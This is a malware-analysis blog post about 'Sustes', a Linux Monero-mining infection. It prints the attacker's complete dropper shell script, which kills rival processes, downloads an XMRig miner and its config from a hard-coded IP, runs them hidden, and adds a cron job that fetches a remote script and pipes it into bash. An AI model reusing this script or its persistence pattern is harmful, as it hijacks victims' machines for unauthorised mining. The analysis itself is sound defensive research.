Today I’d like to share a simple analysis based on a fascinating threat that I like to call Sustes (you will see name genesis in a bit).
Monero stops you trying to check wallet balance |
#!/bin/bash mkdir /var/tmp chmod 777 /var/tmp pkill -f getty netstat -antp | grep '27.155.87.59' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '27.155.87.59' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'CLOSE_WAIT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '104.160.171.94\|170.178.178.57\|91.236.182.1\|52.15.72.79\|52.15.62.13' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '121.18.238.56' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '121.18.238.56' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '103.99.115.220' | grep 'SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 netstat -antp | grep '103.99.115.220' | grep 'ESTABLISHED' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9 pkill -f /usr/bin/.sshd rm -rf /var/tmp/j* rm -rf /tmp/j* rm -rf /var/tmp/java rm -rf /tmp/java rm -rf /var/tmp/java2 rm -rf /tmp/java2 rm -rf /var/tmp/java* rm -rf /tmp/java* chmod 777 /var/tmp/sustes ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid do kill -9 $procid done ps ax | grep /tmp/ | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9 ps ax | grep 'wc.conf\|wq.conf\|wm.conf' | grep -v grep | grep -v 'sustes\|sustes\|ppl' | awk '{print $1}' | xargs kill -9 DIR="/var/tmp" if [ -a "/var/tmp/sustes" ] then if [ -w "/var/tmp/sustes" ] && [ ! -d "/var/tmp/sustes" ] then if [ -x "$(command -v md5sum)" ] then sum=$(md5sum /var/tmp/sustes | awk '{ print $1 }') echo $sum case $sum in c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc) echo "sustes OK" ;; *) echo "sustes wrong" pkill -f wc.conf pkill -f sustes sleep 4 ;; esac fi echo "P OK" else DIR=$(mktemp -d)/var/tmp mkdir $DIR echo "T DIR $DIR" fi else if [ -d "/var/tmp" ] then DIR="/var/tmp" fi echo "P NOT EXISTS" fi if [ -d "/var/tmp/sustes" ] then DIR=$(mktemp -d)/var/tmp mkdir $DIR echo "T DIR $DIR" fi WGET="wget -O" if [ -s /usr/bin/curl ]; then WGET="curl -o"; fi if [ -s /usr/bin/wget ]; then WGET="wget -O"; fi f2="192.99.142.226:8220" downloadIfNeed() { if [ -x "$(command -v md5sum)" ] then if [ ! -f $DIR/sustes ]; then echo "File not found!" download fi sum=$(md5sum $DIR/sustes | awk '{ print $1 }') echo $sum case $sum in c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc) echo "sustes OK" ;; *) echo "sustes wrong" sizeBefore=$(du $DIR/sustes) if [ -s /usr/bin/curl ]; then WGET="curl -k -o "; fi if [ -s /usr/bin/wget ]; then WGET="wget --no-check-certificate -O "; fi #$WGET $DIR/sustes https://transfer.sh/wbl5H/sustes download sumAfter=$(md5sum $DIR/sustes | awk '{ print $1 }') if [ -s /usr/bin/curl ]; then echo "redownloaded $sum $sizeBefore after $sumAfter " `du $DIR/sustes` > $DIR/var/tmp.txt fi ;; esac else echo "No md5sum" download fi } download() { if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/sustes3 | awk '{ print $1 }') echo $sum case $sum in c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc) echo "sustes OK" cp $DIR/sustes3 $DIR/sustes ;; *) echo "sustes wrong" download2 ;; esac else echo "No md5sum" download2 fi } download2() { if [ `getconf LONG_BIT` = "64" ] then $WGET $DIR/sustes http://192.99.142.226:8220/xm64 fi if [ -x "$(command -v md5sum)" ] then sum=$(md5sum $DIR/sustes | awk '{ print $1 }') echo $sum case $sum in c8c1f2da51fbd0aea60e11a81236c9dc | c8c1f2da51fbd0aea60e11a81236c9dc) echo "sustes OK" cp $DIR/sustes $DIR/sustes3 ;; *) echo "sustes wrong" ;; esac else echo "No md5sum" fi } judge() { if [ ! "$(netstat -ant|grep '158.69.133.20\|192.99.142.249\|202.144.193.110'|grep 'ESTABLISHED'|grep -v grep)" ]; then ps axf -o "pid %cpu" | awk '{if($2>=30.0) print $1}' | while read procid do kill -9 $procid done downloadIfNeed touch /var/tmp/123 pkill -f /var/tmp/java pkill -f w.conf chmod +x $DIR/sustes $WGET $DIR/wc.conf http://$f2/wt.conf nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 & sleep 5 else echo "Running" fi } judge2() { if [ ! "$(ps -fe|grep '/var/tmp/sustes'|grep 'wc.conf'|grep -v grep)" ]; then downloadIfNeed chmod +x $DIR/sustes $WGET $DIR/wc.conf http://$f2/wt.conf nohup $DIR/sustes -c $DIR/wc.conf > /dev/null 2>&1 & sleep 5 else echo "Running" fi } if [ ! "$(netstat -ant|grep 'LISTEN\|ESTABLISHED\|TIME_WAIT'|grep -v grep)" ]; then judge2 else judge fi if crontab -l | grep -q "192.99.142.226:8220" then echo "Cron exists" else crontab -r echo "Cron not found" LDR="wget -q -O -" if [ -s /usr/bin/curl ]; then LDR="curl"; fi if [ -s /usr/bin/wget ]; then LDR="wget -q -O -"; fi (crontab -l 2>/dev/null; echo "* * * * * $LDR http://192.99.142.226:8220/mr.sh | bash -sh > /dev/null 2>&1")| crontab - fi rm -rf /var/tmp/jrm rm -rf /tmp/jrm pkill -f 185.222.210.59 pkill -f 95.142.40.81 pkill -f 192.99.142.232 chmod 777 /var/tmp/sustes crontab -l | sed '/185.222.210.59/d' | crontab -
An initial connection-check wants to take down unwanted software on the victim side (awk ‘{print $7}’ | sed -e “s/\/.*//g”) taking decisions upon specific IP addresses. It filters PID from connection states and it directly kills them (kill -9). The extracted attacker’s unwanted communications are the following ones:
MR.SH ends up by setting a periodic crontab action on dropping and executing itself by setting up:
Following the analysis and extracting the configuration file from dropping URL we might observe the Monero wallet addresses and the Monero Pools used by attacker. The following wallets (W1, W2, W3) were found.
The downloaded payload is named sustes and it is a basic XMRIG, which is a well-known opensource miner. In this scenario, it is used to make money at the expense of computer users by abusing the infected computer to mine Monero, a cryptocurrency. The following image shows the usage strings as an initial proof of software.
XMRIG prove 1 |
Many people are currently wondering what is the sustes process which is draining a lot of PC resources (for example: here, here and here ) …. now we have an answer: it’s an unwanted Miner. :D.
Hope you had fun
Further details including the IoC area available at:
https://marcoramilli.blogspot.com/2018/09/sustes-malware-cpu-for-monero.html
About the author: Marco Ramilli, Founder of Yoroi
I am a computer security scientist with an intensive hacking background. I do have a MD in computer engineering and a PhD on computer security from University of Bologna. During my PhD program I worked for US Government (@ National Institute of Standards and Technology, Security Division) where I did intensive researches in Malware evasion techniques and penetration testing of electronic voting systems.
I do have experience on security testing since I have been performing penetration testing on several US electronic voting systems. I’ve also been encharged of testing uVote voting system from the Italian Minister of homeland security. I met Palantir Technologies where I was introduced to the Intelligence Ecosystem. I decided to amplify my cyber security experiences by diving into SCADA security issues with some of the most biggest industrial aglomerates in Italy. I finally decided to found Yoroi: an innovative Managed Cyber Security Service Provider developing some of the most amazing cyber security defence center I’ve ever experienced ! Now I technically lead Yoroi defending our customers strongly believing in: Defence Belongs To Humans
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Edited by Pierluigi Paganini
(Security Affairs – Sustes, cryptocurrency malware)
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